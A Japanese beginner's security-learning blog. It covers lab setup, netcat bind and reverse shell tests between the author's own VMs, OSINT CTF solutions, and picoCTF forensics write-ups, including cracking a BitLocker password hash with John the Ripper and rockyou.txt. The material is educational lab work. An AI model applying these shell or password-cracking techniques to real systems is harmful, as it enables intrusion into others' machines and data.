ハッキングラボのつくりかた。試行錯誤編

こんばんは、ゆきちです。
オフェンシブセキュリティに興味が出てきたので、有名な本「ハッキング・ラボのつくりから」をやっていきたいと思います。
このブログは内容を書くというより、なんかうまくいかないというエラー?といいますか、本通りにいかない部分の解決の仕方を書いていきたいと思います。解決というと問題を答えをすでに知っている感じですが、調べてうまくいったことを書いていくという方針なので、こんな方法もあるといった場合はコメントください!!
そりゃ、2018に出版された本ですので、いろいろ違う部分は出てきますよね。

目次

kali linuxをインストール。

しょっぱなのところから思い通りにいかない!kali linuxovaファイルをダウンロードしたいのに、公式からダウンロード(公式)した7z内にはvdi, vboxしか入っていないじゃありませんか。ovaはなくなってしまったのだろうか? (Virtual Box上にKali Linuxをインストールする方法)同じ悩みの人がいました!

というわけで、追加してみる。

なんで!!開けない!!

調べてみると1つのvboxから複数のゲストVMを作ることはできないようです。

caht GPTさんもこう言っていますし。簡単に言うと、vboxは構成情報(設定ファイル)だから、そこから作られるマシンは同じUUIDのものになってしまい、作ることができないという流れと推測。

2つ以上作る場合は、上記のような方法があるといわれた。やってみるか。

ほんとだ。クローンってある。

後々のための記録として、デフォルトの値はこんな感じ。いじらないと不具合出たりするかな? (VirtualBoxでクローン(複製)を作成する。いざという時のバックアップとして。)この記事も名前だけの変更なので、デフォルトのままで進む。

ネットワーク設定

ネットワークを設定する場所がない!!centOSだったら右上くらいから設定みたいなのが開けた気がするけど、kaliはできないのかな。
現状設定しないといけないのは2つあるように考えている。

書籍では2つの仮想のアダプターを設定とある。これは2つのゲストOSにそれぞれ一種類を割り当てるのかと思っていたが違うようだ。1つのゲストOSに仮想のLANアダプターを2つ設定するということだと認識している。

あ、linuxの一般的なIPアドレスの設定方法がありますね(P77-)。つまり、上記の記憶の右上の設定から変えてるほうがGUIを利用した簡単な設定方法だったということかな。本来は

  • 設定ファイルを編集
  • 設定を反映(主に再起動)

allow-hotplugってなんじゃ?


なんとなく理解した。

最終目標は2つのLANアダプターを設定し、それぞれに静的IPを割り当てることのようだ。 P80ではまず2つのLANアダプターを設定し、動的IPを割り当てるようだ。
①仮想LANアダプターを設定する。

ちなみに

プロミスキャスモードもよく知らなかったので、調べた。後々設定しなおすかも。今は拒否でいいや。
シャットダウンしないとアダプターの選択ができないので、初学者のかたはご注意を。まずは2つを設定完了。

②ホストオンリーネットワークを設定する。
ここが悩みの種でしかない。ホストオンリーでホストOS側の設定をする場所が見当たらない。ホストオンリーアダプタを使用する場合はホストOS側とゲストOS側を設定しないといけないのは注意。

そして、やっと見つけた。ファイル > ツール > ネットワークマネージャで開くことができた。(【VirtualBox】ネットワークの仕組みや設定方法を解説)はすごく助かりました。

viするときはsudoつけたほうがいいです!!

P89について

windowを使用している人は(Windowsで構築した仮想OSからホストOSへpingが通らない場合の対応方法)を確認してほしい。pingがホストOSに届かない可能性があります。

ただただ感想ですが、エイリアスって使いやすいわ。

netcat

状況
kali : 10.0.0[.]2
windows : 10.0.0.101

ただ実行するのもつまらないので、記録を残していく。 まずncコマンドをよく使っていたけど、windowsにはないのですね。わざわざダウンロードしました。

まずは待ち受ける。 netstat -anで状態を確認

しっかり待ち受けられていますね。

では、kaliから通信を行いたいと思う。

通信を開始。

(win側)通信が行えました!!
再びnetstat -anで状態を確認。
確立していますね~。tcpで双方向でつながってるのね。

helloを打ち合う


ん、できましたね。

wireshark確認

kali側。netcatを打ったとき

下の2つは何なのでしょうね。上3つは3wayハンドシェイクを行っていることが確認できる。

たまに発生しているから、コネクション先が生きているかの生存確認を時々しているってことかな。arpもされてる。

icmpはポートがないとか書いてある記事を見たことあるけど、一応137番でやられていることを確認。

知識(NBNS)
NBNS NetBIOS Name Service で137番ポートで利用される。目的はNetBIOS名をIPアドレスに変換する。NBNSクエリはブロードキャストされる。


【疑問】
なぜncコマンドでIPアドレスをしてしたのにNetBIOSプロトコルを使用する必要があったのだろうか。しかも、クエリがおかしい。

A OSが相手の「名前」を解決しようとしたから(ChatGPT)

なるほど。ncとは関係ないが、OSが発生したブロードキャストがwiresharkで観測できたようだ。


なんかある。tcpのやりとりで、PSHってなんなのかな。

知識(PSH)
PSH 参考(PSH/ACKとは?TCPフラグの意味と通信制御の基礎)。 > リアルタイムのユーザー入力を処理する必要がある場合、PSHフラグが設定され、データを即座に送信します。 今回のncでは即座にcmdに文字列が表示された。リアルタイムでの送信を可能にするためのフラグのようだ。



あ、データ送ってる。

helloが送られていることを確認

hello!も送られていることも確認!

ctrl + c で終わったときはfinパケット送ってることも確認。片方ではなく。送り合うんですね。


RSTというフラグもあるのですね。勉強になる。

netcatによるバインドシェル、リバースシェル


-eを指定すると接続後にそのプログラムが実行されるようですね。

おー!つないだらcmdを開いた時と同様の画面が現れた。

ncの-eオプションは-eで指定したプログラムの操作権を渡すというGPTの説明が納得した。つまり、-epythonをしている場合は、接続してきたホストはサーバ内でpythonを実行できてしまうわけだ。

wireshark確認

基本流れはさっきと同じ。パケットのdata内が変わっていた

ここでdirコマンドを打った時の内容をやり取りしている。パケットが分割されていることが分かる。bytesのやり取りは一回の大きさより総量を意識するのもいいかも。
さて、先ほどは逃げましたが、TCPのSeq, Ack, Win, Lenの数値を理解しよう。

確かにLenの数だけSeqの数が増えているところがある。
Seqはその前のAckであることが多い。
Ackはその前のSeq + Len になっている。

これが分かりやすいね。お互いのどこまで届いている、今から送るものを伝え合ってるイメージね。

【疑問】
なんでlenが細かいのか。最初は200ずつ送るのかと思ったら最後は400くらい送っている。なんで?

【Answer】

ここでわかるのはセッションでどれだけの量のbytesをやり取りしたのかを気にすることが大切ということかな。ひとつのパケットでは小さいからアウトバウンドを気にするときはセッション単位で見るのがよさそう。


ここで、次に進む前振り。バインドシェルは攻撃端末から被害端末へ通信を行いシェルを奪った。しかし、外部から内部へ(インバウンド)の通信はFWやルータでブロックされることが多い。→内側から外側へ通信を行わせて、奪うほうがブロックされることが少ないということ

→リバースシェルにつながる。

netcatによるリバースシェル

ここでは攻撃端末で待ち受けて、被害端末でアクセスしに行く。

kali側で待ち受ける。

winでアクセスすると、

シェル成功している。ipconfigも実行できることを確認しました。すげー。

wiresharkを確認する。


winのほうからパケットが飛んできているのが分かる。

あれ、シェルを奪うときはあっちからだけど、コマンドを実行するとこっちからの通信になっている。これはFWでブロックされないのかな?

【疑問】奪ったshellでコマンドを打つときにインバウンド通信が発生している。これでは結局fwでブロックされてしまうのではないのか?

【Answer】
  


なるほどね!

tcp.streamで見るとよくわかる。

比較するとさらにわかる。始まりが違う。TCPセクションが確立するとFWはブロックしにくくなるのか。

diver osint ctf(らいとあっぷみたいなもの)

となわけで、osintのCTFを行いました。 まずはeasy頑張ります!!


場所を特定できた時の快感を知りました。osintはまりそうです。
ほかのプレイヤーのwriteupで勉強させていただきます。

目次

bx

この写真で見える "BX" という看板の座標を答えなさい。

ということで、写真の座標を求めていく。
考えられるのは

  1. 撮影場所をgooge mapで見つけること
  2. 写真自体の情報を確認する

の2つが考えられる。 では、メタ情報を見てみる。

└─# exiftool bx.jpg
ExifTool Version Number         : 13.25
File Name                       : bx.jpg
Directory                       : .
File Size                       : 2.1 MB
File Modification Date/Time     : 2025:06:07 04:26:07+00:00
File Access Date/Time           : 2025:06:07 04:30:20+00:00
File Inode Change Date/Time     : 2025:06:07 04:30:20+00:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Image Width                     : 4080
Image Height                    : 3072
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4080x3072
Megapixels                      : 12.5

特に場所の情報はない。写真から位置を見つけるパターンかな。


ここに場所の情報がありそうだ。

文〇シャッターよりカトリ〇ク上野〇会のほうで探したほうがヒットした。終了。

finding_my_way

34.735639, 138.994950 にある 建造物 の、OpenStreetMapにおけるWay(ウェイ)番号を答えよ。 Flag形式: Diver25{123456789}

OpenStreetMapにおけるWay(ウェイ)番号というものを初めて聞いた。 OpenStreetMapは自由に地図を作ることができるものらしい。
wayを調べてもいまいち使い方はわからない。

ひとまず、google mapで調べる。


静岡にある建物のようだ。
OpenStreetMapの号アカウントを作るとwayが見れるのかな。
アカウント作成後右にある地物を検索で検索すると建造物番号が見つかった終了。

ship(未解決)

これは、ある組織が運用する船舶である。もし将来、この船が外国に売却されたとしても、変わらない番号を答えよ。 Flag形式: Diver25{現地語での船名番号}(例: 船名が「ペンギン饅頭号」で番号が 1234567 の場合、Flagは Diver25{ペンギン饅頭号1234567} となる)

そんな番号が存在するのか、、しらなかった。

この写真が与えられた。暗いwまずは編集して見やすくする。

編集すごい。見やすくなりました。
google船 東京海洋大学 TK1-1401と調べると船の名前がわかるサイト発見。

わからず。

hidden_service

添付ファイルを確認して、Flagを獲得してください!


.onionという拡張子を初めて見た。torみたいに隠されているっていうことなのかな? Tor自体聞いたことがある程度で実際になんなのか知らない。

知識(Tor)
Tor (「.onion」サイトとは? ダークウェブへの“入り口”とその“危険性") 匿名性を高めたTorネットワークというものがあるようだ。匿名性が高いので危険性もあるとのこと。

Torブラウザーを入れてみる。どきどき。URLを入力したらflagゲット!

flight_from

このヘリコプターが出発した飛行場のICAOコード(4レターコード)で答えよ。

場所を見つける感じなのかな。

ここに書かれているのが出発地点かと思ったら違うのねw

立川近くにある飛行場を探して、(ICAO空港コードの一覧/R )をもとにICAOを探して終了。

document(未解決)

アメリカ海軍横須賀基地司令部(CFAY)は、米軍の関係者向けに羽田空港・成田空港と基地の間でシャトルバスを運行している。2023年に乗り場案内の書類を作成した人物の名前を答えよ。 lineを調べる。(SBS Transit 52 Bus Route Schedule and Stops (Updated))。動画は2013に撮られているので、変更の可能性は頭の片隅に入れておく。

めっさAIに投げ込みたいと思いました。

night_accident

動画 / Video: https://www.youtube.com/watch?v=jHgqCpJNL28 この動画で、車とバスが衝突しそうになった場所はどこか。 In this video, where did the car and bus almost collide? content warning: 衝突には至らないものの、交通事故のようなシーンがあります There are scenes that do not result in a collision, but are similar to a road accident.

動画を見たが、場所的な情報はない。バスのロゴ?が「sbs transit」でしたね。シンガポールで公共交通機関を運行する会社のようです。じゃあ、シンガポールかな。バスの番線を表すのが52と58であった。

検索したら出てきた。


見にくくて申し訳ないですが、このコ型になっているところが重なっている。ここが接触の場所だとにらんだ。

google mapのストリートビューでポチポチしている。

ぽい!!めちゃくちゃポイ!

あとは割り込み場所を確認し、接触したときの距離を考えて答えると


気持ち良すぎる。はまりそう。

p2t(未解決)

この写真の左側に掲示されている写真には、ある動物が写っている。その名前を、日本語で書かれている通りに答えよ。

なにをいっているのかわからぬ!!

00_engineer

東京駅の近くでソフトウェアエンジニアの名札を拾った。おそらく落とし物だろう。 このエンジニアが勤務している会社のWebサイト(トップページ)のURLを答えよ。 Flag 形式: Diver25{https://google.com}

ということで、写真を見るとユーザ名がある。調べてみましょう。

google先生に聞くとgithubが見つかった。index.htmlの中に"kodai Shinonome"という文字列があった。Xでも確認。
これはこのCTFのためにつくったのかな。と思ってたらホームページにキャリアという欄があるやん。
そこの企業を調べたら終了。

01_asset(未解決)

"00_engineer" の問題で見つかった会社のCEOが持っていたスマートフォンの資産番号を答えよ。 Flag 形式: Diver25{ABCD-12345}

そんなとこまでわかるもんなんすか。 まずはCEOを知るために会社のホームページを確認。aboutの下にCEO発見。でも、それ以上はわからん。
そもそも資産番号とは何? (固定資産台帳とは?決算書作成に必要な記載項目や見方を解説)を参考にした。これってどこかに記録されるものなんか、、

03_ceo(未解決)

"00_engineer" の問題で見つかった会社の、CEOのメールアドレス(Gmail)を答えよ。 CEOの名前をtwittergoogleで検索してもひっかからず。
どのようにあがけばいいのかもわからず。なんとなくcontactにあったフォームに送信してみた。
CTFじゃなかったら申し訳ない

next_train

この音声が録音された駅はどこか。駅名を答えよ(日本語でも英語でも可)。 (駅名は鉄道会社の公式サイトやWikipediaに記載されている表記とする) Flag形式: Diver25{京都駅}

まずは聞いてみる。英語聞き取れないのはまじで英語力ないわ。
日本語の部分では14:16発、久里浜行き、JRがキーワードとして聞き取れた。
ここから久里浜行きのJRはJR横須賀線であることがわかった。あとは、時刻表を各駅で見ていった。平日と休日でダイアルが違うことも考慮しないといけないがなんかうまくいきました。運良い。

platform

この写真が撮影された駅はどこか。駅名を答えよ(日本語でも英語でも可)。 (駅名は鉄道会社の公式サイトやWikipediaに記載されている表記とする) Flag形式: Diver25{京都駅}


パット見情報少ないっす。


店の名前。まずはここから探す。らいと、駅沿いでは検索が広い。画像検索をgoogle先生に投げているが、、なんとも、、 先の写真のらいとの隣くらいにウサギのマークあり。"らいと" ウサギ 飲食店で検索すると一件気になる飲食店が見つかり。ストリートビューで見るとビンゴ。終了。

記事 / Article: https://web.archive.org/web/20250108154113/https://www.noticiasaominuto.com/mundo/2699746/kyiv-diz-que-russia-usou-como-recrutas-ate-180000-presidiarios この記事の写真が撮影された場所はどこか。

さて、やっていきましょ。ていっても、言語が打ち込めないぞ、、これ何語なんだ?w

くう。わからん。画像検索してみる。
そうすると3枚くらい広告が違うけど場所が同じ画像が出てくる。
そこから考えたのは

  1. TOKИO-CITYという店に広告が張られている
  2. 150m先にバーガーキングがあること。

この二つで探しているがいいのがヒットしない。
すんません、ChatGPTに上記の条件を探してもらうと 2つのサンクトペテルブルクの場所を提示していただきました。
そのうちの一が正解でした!ムズイ!

hole(未解決)

この穴があった場所はどこか。

となわけで、この穴を探す。
まずヒントが少なすぎるので、画像検索。そうすると一つ車のCMに行きつく。
(BYD’s Yangwang U9 Can Jump Over Potholes (Literally), But How? Passive vs. Active Suspension, Explained) この動画の一つのカットのようだ。

ワンカットにこのようなシーンがあった。(引用:(BYD’s 1,287HP Yangwang U9 Can Jump Over Pot Holes And Road Spikes))
(大同市)中国にある場所のようだ。 google mapで見ていく。

意外とでかい。先の写真から、周りは田んぼ?砂獏?でも緑もある。山もある場所だとわかる。
海抜は1035mということもわかる。

googlemapで片っ端から見ていくのはさすがにやばい。もう少し絞りたい。

それっぽいものはあるが、なんとも。これってなにw

night_street(未解決)

画像の中心に写っている茶色の2階建ての建物に入る施設の正式名称を現地語表記で答えなさい。 Flag形式: Diver25{施設名}(例: Diver25{お台場海浜公園前郵便局}) 注意: この問題を解く際、外部サイトへの機械的なアクセスやスクレイピングは禁止します。また、それらを行う必要はありません。 ただし、ブラウザから手動で取得できる情報や、公開されているAPIサービスやデータセットの利用は問題ありません。

画像を見るとちゃんぽんとクリニックという言葉が分かった。

bridge

動画 / Video: https://www.youtube.com/watch?v=fRMi8TXQRuo (無音です / No audio) この動画で列車が通過した橋梁は、ある災害で損傷した後に架け替えられたものである。架け替えに際して、他の橋梁の構造物が流用されたことがある文献に示されている。その流用元の橋梁名を答えよ(この橋の名前ではない)。 Flag形式: Diver25{橋梁名}(例: Diver25{日本橋川橋梁})

動画を見ているといくつかの建物が目に入る。


特徴的なのはここかと。最初のはgoogle mapで調べてもよくわからなかった。
2つ目の農園はヒット熊本にあるようだ。


ここが走っていた路線でだと予想。名前を知りたいので川の名前、駅の区間名、路線名を検索(歴史的鋼橋: T2-030 第二白川橋梁)というサイトが引っかかる。第二白川橋梁という名前のようだ。

結果的に正解はしましたが、偶然見つかった感じがあります。経緯としましては、
→古い文献があり、そこでは第二白川橋梁という名前がなかった。
→旧名があることを知る
→旧名を探していたら(第二白川橋1954-6-8)というサイト発見。
場所の特徴や改造移設という言葉からflagと判断。終了。

PC周辺機器についてのレビュー

最近社会人になり27インチモニターを買ってからPC周辺の機器に興味を持ち出しています。ここでは買った周辺機器を使った感想を綴っていきたいと思います。

M-IT11DRWH


買った動機:トラックボールマウスを使ってみたかったですw logicoolの静音マウスは指の重さで右クリックが不意に起こるので、今回はクリックにしっかり力を使うELECOMさんのこちらのマウスにしました。
感想:狙った位置にカーソルを持ってくるのが難しい。慣れていないから?特に細かく動かすのが難しい。もっとぬるぬる動いてほしい。まずは数日使ってみる。

次はKTCの27インチモニターとtype-Cハブ、logicoolのマウス、ノートPCのスペックについて書こうと思います。

らいとあっぷ(picoCTF 2025)

ほどなくライトアップの旅に統合します。情けないライトアップですが、わたくしの試行錯誤をお楽しみください。

forensics

Ph4nt0m 1ntrud3r

A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag. To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder! Find the PCAP file here Network Traffic PCAP file and try to get the flag. ということで、PCAPファイルを渡されて解析するようだ。

12バイトや8バイトの文字列をやり取りしている。文字列を見ると末尾が=で終わっている。これはbase64ですわな。というわけで、cyberchefに投げる。
そうすると、12バイトの方が可読可能な文字列になった。
しかし、順番がよくわからない。
ここで、ヒントを確認した。時系列が大切だと書いてある。よって、時間でソートしてみる。
番号と時系列は違うのを知りました。これで12バイトの塊が時系列の最後らへんに集まった。そこをcyberchefに投げたらflagゲット。終了。

Event-Viewing

One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows: They installed software using an installer they downloaded online They ran the installed software but it seemed to do nothing Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly. See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs! Download the Windows Log file here
ということで、ログファイルを解析する。まず、ツールを使って解析し、evtxファイルのログをcsvにする。さて、イベントログから解析していく。

シャットダウンのイベントIDは1074である。検索すると4件あった。それらを調べると
{"EventData":{"Data":[{"@Name":"param1","#text":"C:\\Windows\\system32\\shutdown.exe (DESKTOP-EKVR84B)"},{"@Name":"param2","#text":"DESKTOP-EKVR84B"},{"@Name":"param3","#text":"No title for this reason could be found"},{"@Name":"param4","#text":"0x800000ff"},{"@Name":"param5","#text":"shutdown"},{"@Name":"param6","#text":"dDAwbF84MWJhM2ZlOX0="},{"@Name":"param7","#text":"DESKTOP-EKVR84B\\user"}]}}が2024/7/15 17:01:05と2024/7/15 17:02:35のログから見つけた。param6にbase64されている文字列からこれがキーワードだと推測した。 よって、2024/7/15 17:01:05より前の時間で感染したことになる。 次にどんなものをインストールしたのかを調べていく。
chatGPTに聞くと11707がインストールの成功を意味しているようだ。ここを探していく。 インストールされたものの名前を見た時にmicrosoftやvsは正規っぽいがProduct: Totally_Legit_Software -- Installation completed successfully., (NULL), (NULL), (NULL), (NULL), (NULL)このインストールが気になる。あんまり知らないファイル名である。このログの下にイベントID1033のイベントがあり、その文字列が{"EventData":{"Data":"Totally_Legit_Software, 1.3.3.7, 0, 0, cGljb0NURntFdjNudF92aTN3djNyXw==, (NULL)","Binary":"7B-33-44-33-43-33-38-33-33-2D-44-45-44-36-2D-34-30-32-32-2D-42-35-41-31-2D-45-37-46-33-37-37-38-39-43-33-39-30-7D-30-30-30-30-37-36-35-33-37-62-39-37-30-32-33-39-66-39-61-30-37-35-30-63-34-31-62-38-38-36-34-66-64-61-63-39-30-30-30-30-30-30-30-30"}}base64を見つけた。このツールがおかしいということが分かった。2024/7/15 15:55:58のインストールである。

では、最後にこのファイルを実行したログを探す。Totally_Legit_Softwareを探しているとレジストリを書き換えているログが見つかった。これがシャットダウンの原因のようだ。 {"EventData":{"Data":[{"@Name":"SubjectUserSid","#text":"S-1-5-21-3576963320-1344788273-4164204335-1001"},{"@Name":"SubjectUserName","#text":"user"},{"@Name":"SubjectDomainName","#text":"DESKTOP-EKVR84B"},{"@Name":"SubjectLogonId","#text":"0x5A428"},{"@Name":"ObjectName","#text":"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"},{"@Name":"ObjectValueName","#text":"Immediate Shutdown (MXNfYV9wcjN0dHlfdXMzZnVsXw==)"},{"@Name":"HandleId","#text":"0x208"},{"@Name":"OperationType","#text":"%%1904"},{"@Name":"OldValueType","#text":"-"},{"@Name":"OldValue","#text":"-"},{"@Name":"NewValueType","#text":"%%1873"},{"@Name":"NewValue","#text":"C:\\Program Files (x86)\\Totally_Legit_Software\\custom_shutdown.exe"},{"@Name":"ProcessId","#text":"0x1BD0"},{"@Name":"ProcessName","#text":"C:\\Program Files (x86)\\Totally_Legit_Software\\Totally_Legit_Software.exe"}]}} ということで3つの断片を探すことに成功。でも、もしもbase64のヒントがなければ見つけられていないので、イベントIDを覚えていくことも重要に思う。

Bitlocker-1

Jacky is not very knowledgable about the best security passwords and used a simple password to encrypt their BitLocker drive. See if you can break through the encryption! Download the disk image here

ビットロッカーを初めて聞いた。なんぞ?

知識(ビットロッカー)
ビットロッカー BitLockerとは、Microsoftが開発したディスク暗号化機能の一つで、Windows Vista以降のOSに搭載されています。この機能は、コンピューターのデータを保護するために、ハードディスクやUSBメモリなどのストレージデバイスに保存されている情報を暗号化することができます。これにより、デバイスが紛失や盗難にあった場合でも、悪意のある第三者がデータにアクセスすることを防ぐことができます。(引用:(BitLockerとは?重要性や注意点、設定方法をわかりやすく解説!))

つまり、渡されたディスクイメージはビットロッカーで暗号化されているということでしょうね。

サイトを調べていると(bitlocker2john を使って BitLocker 暗号化ボリュームの情報を抽出する方法)というサイトに解析方法が載っていた。 John the Ripper を利用する感じなのかな。

知識( John the Ripper )
John the Ripper パスワードクラッキングツール。(【Kali linux】John the Ripperを使ってみる) 公式からダウンロードしてもbitlocker2johnが見当たらなかったので'─# apt install john'をしたらできた。

暗号化されているイメージファイルを解析するにはbitlocker2john -iでファイルのハッシュ情報を確認できるようだ。

└─# bitlocker2john -i bitlocker-1.dd
Encrypted device bitlocker-1.dd opened, size 100MB

Signature found at 0x3
Version: 8
Invalid version, looking for a signature with valid version...
・・
User Password hash:
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: User Password with MAC verification (slower solution, no false positives)
・・

人間が可読できる情報ではないようだ。(bitlocker2john を使って BitLocker 暗号化ボリュームの情報を抽出する方法)を参考にしているが、どうやら上記の情報をファイルにしてjohn the ripperに解析させるという流れのようだ。
やってみる

結果

└─# john --show encrypted_drive_hash.txt
Created directory: /root/.john
0 password hashes cracked, 2 left

クラックできず。デフォルトではだめなのかな。(John the RipperでOSユーザのパスワードをクラッキングする)どうやらjohnコマンドで解析したのちに--showオプションをつけないといけないようだ。というわけでおpしょんを外して再実行。時間がかかっている。いい感じかな?めちゃながい。休憩しよ。
Proceeding with incremental:ASCIIが現れてから、かれこれ5時間待ったが実行が終わらない。違うんですね。WriteUp見る。(picoCTF2025 writeup/a>)。

まずbitlocker2john -i bitlocker-1.ddで出力されたものすべてを解析にかけるわけではないのですね。(John the RipperでOSユーザのパスワードをクラッキングする)でも、

クラッキングしたいユーザの情報のみを記載しているファイルを用意します。

と書いてありますわ。
でも、上記方法でもできるようなサイトもあるので、使用する辞書ファイルが悪い可能性もありますね。
※後々検証したらユーザの情報だけじゃなくてもクラッシュできました。やはり必要なのは良質なrockyou.txtファイル!
john the ripperでなくて、hashcatを使用することも可能とある。パスワードクラックはこの二つなのかな。(CTFのWebセキュリティにおけるPassword Cracking, ハッシュ, 暗号化)

また、rockyou.txtもさまざまあるが、wordlist(wordlists)がよさそうだ。
といいつつ、うまくいかない。

└─# john --wordlist=/usr/share/wordlists/rockyou.txt encrypted_drive_hash.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 16 OpenMP threads
Crash recovery file is locked: /root/.john/john.rec

この下のエラーが出てくる。chat GPTに聞くと削除したらいいじゃねと出てきたので、削除してみる。

└─# john --wordlist=/usr/share/wordlists/rockyou.txt encrypted_drive_hash.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jacqueline       (?)
1g 0:00:03:18 0.07% (ETA: 2025-05-14 22:32) 0.005033g/s 57.49p/s 57.49c/s 57.49C/s warrior1..polito
Session aborted

総じてうまくいきましたね。時間かかったー。jacquelineがパスワードなのかな。
みんなdislockerを利用しているので、私も使おうと思っていますが、autopsyが好きなので、そっちでできるならその方法もやりたい。

  • autopsy [f:id:k_yukichi:20250511202244p:plain]
    bitlockerのパスワードを入力する欄があるので、先のパスワードを入力してみた。進めたらflag.txtを見つけた。終了。
    ※次回hashcatとdislockerを利用します。

考察 john the ripperを利用してみた。パスワードクラックでは辞書の質がが大切だと感じた。johnのデフォルトの辞書でだめなら他のを試すべき。総当たりとか博打過ぎる。(今回ここで傍観してました。)
エラーが出てきたときは失敗しただけで終えず、エラーの原因を探るべき。正解の道でもエラーは全然出るぞ。
ツール(john the ripper等)の使い方を理解してから使う。使い方違うと時間だけ過ぎるぞ。

RED

RED, RED, RED, RED Download the image: red.png
ということで、真っ赤な四角形の画像を取得した。まずは初手行きましょう。

└─# file red.png
red.png: PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced

通常のpngデータである。

└─# strings red.png
IHDR
tEXtPoem
Crimson heart, vibrant and bold,
Hearts flutter at your sight.
Evenings glow softly red,
Cherries burst with sweet life.
Kisses linger with your warmth.
Love deep as merlot.
Scarlet leaves falling softly,
Bold in every stroke.x
IDATx
IEND

stringsコマンドを打ったら何やら出てきた。ポエム?意味を見てもあんまし。なにかしらがハイディングしているかも?
ま、(Aperi'Solve)にぶち込んだ。そしたら、 [f:id:k_yukichi:20250312171759p:plain]
Zstegに怪しい文字列発見。zstegは調べるとステガノグラフィーを検出するツールのようだ。

知識(Zsteg)
Zsteg ステガノグラフィーを検出するツール(CTFにおけるステガノグラフィ入門とまとめ)

ということで、ステガノグラフィーがあったということですね。 [f:id:k_yukichi:20250312172433p:plain]
画像の最下位ビットに注目すると隠されていたようだ。終了。

Bitlocker-2

Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption! Download the disk image here and the RAM dump here
ということで、bitlockされているイメージファイルとメモリダンプされたファイルが渡されているようだ。
メモリ解析は久しぶりだ。調べているとメモリ解析にはVolatility3というツールがいいようだ。
(CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2])を確認して、windows.info.Infoを調べてみたが、何かうまくいってないような。

└─# file /home/yukichi/mount/pico/Bitlocker-2/memdump.mem
/home/yukichi/mount/pico/Bitlocker-2/memdump.mem: data

初心に戻って初手fileコマンド。でもdataとしか出てこない。RAM Dumpであることはわかっているのに。OSが特定できていないのが、原因なのだろうか?
脳筋プレーstringsコマンドを眺めてみた。C:\Windows\System32\iertutil.dllという記載あり。windows環境のメモリかな。と言いつつ実行結果を待ってみた。

Kernel Base     0xf80062600000
DTB     0x1ad000
Symbols file:///home/yukichi/mount/tools/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/89284D0CA6ACC8274B9A44BD5AF9290B-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer

Volatility was unable to read a requested page:
Page error 0xf80063200b30 in layer layer_name (Page Fault at entry 0x1832100002064 in page entry)

        * Memory smear during acquisition (try re-acquiring if possible)
        * An intentionally invalid page lookup (operating system protection)
        * A bug in the plugin/volatility3 (re-run with -vvv and file a bug)

No further results will be produced

やっぱりうまくいかないようだ。

ベイビーらいとあっぷ(FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024)

一問でも解けたらいいかなと思って挑みました。
一問は解けた。実施期間外で2問解くことに成功。そのほか2問挑んだ問題の途中過程を載せています。他のwriteupと違い、解いているとき、考えて試行したことを書いてあります。余分な部分もありますが、お楽しみいただけたら幸いです。

Pentest

[Easy] WebAdmin

新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。https://box.challenge.nflabs.jp/exercises/439

まずはアクセスしてみましょう。

ウェブでアクセスしてみたけど。まず、これはなんだ?VPNアクセスできているのだろうか?攻撃された後のサイトにアクセスした状態なのか?
いや、そもそもアクセスなので、ssh?でもユーザーは何だろうか?まず、サーバーを立てて、アクセスできているかを確認する。

└─# ping 10.0.102.231
PING 10.0.102.231 (10.0.102.231) 56(84) bytes of data.
64 bytes from 10.0.102.231: icmp_seq=1 ttl=63 time=18.7 ms
64 bytes from 10.0.102.231: icmp_seq=2 ttl=63 time=17.3 ms
64 bytes from 10.0.102.231: icmp_seq=3 ttl=63 time=16.7 ms

pingは通っているようだ。VPN接続してwebサーバーにはアクセスできているようだ。次に、ログインできるかを考える。

└─# ssh root@10.0.102.231
root@10.0.102.231: Permission denied (publickey).

sshしてみたけど、公開鍵認証を採用しているようで、ログインはできそうにない。
webサーバといっているので、80番ポートが開いている可能性がありそう。調べていると、どのポートが開いているかどうかがnmapというコマンドで行えるようだ。

└─# nmap 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 04:08 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0026s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
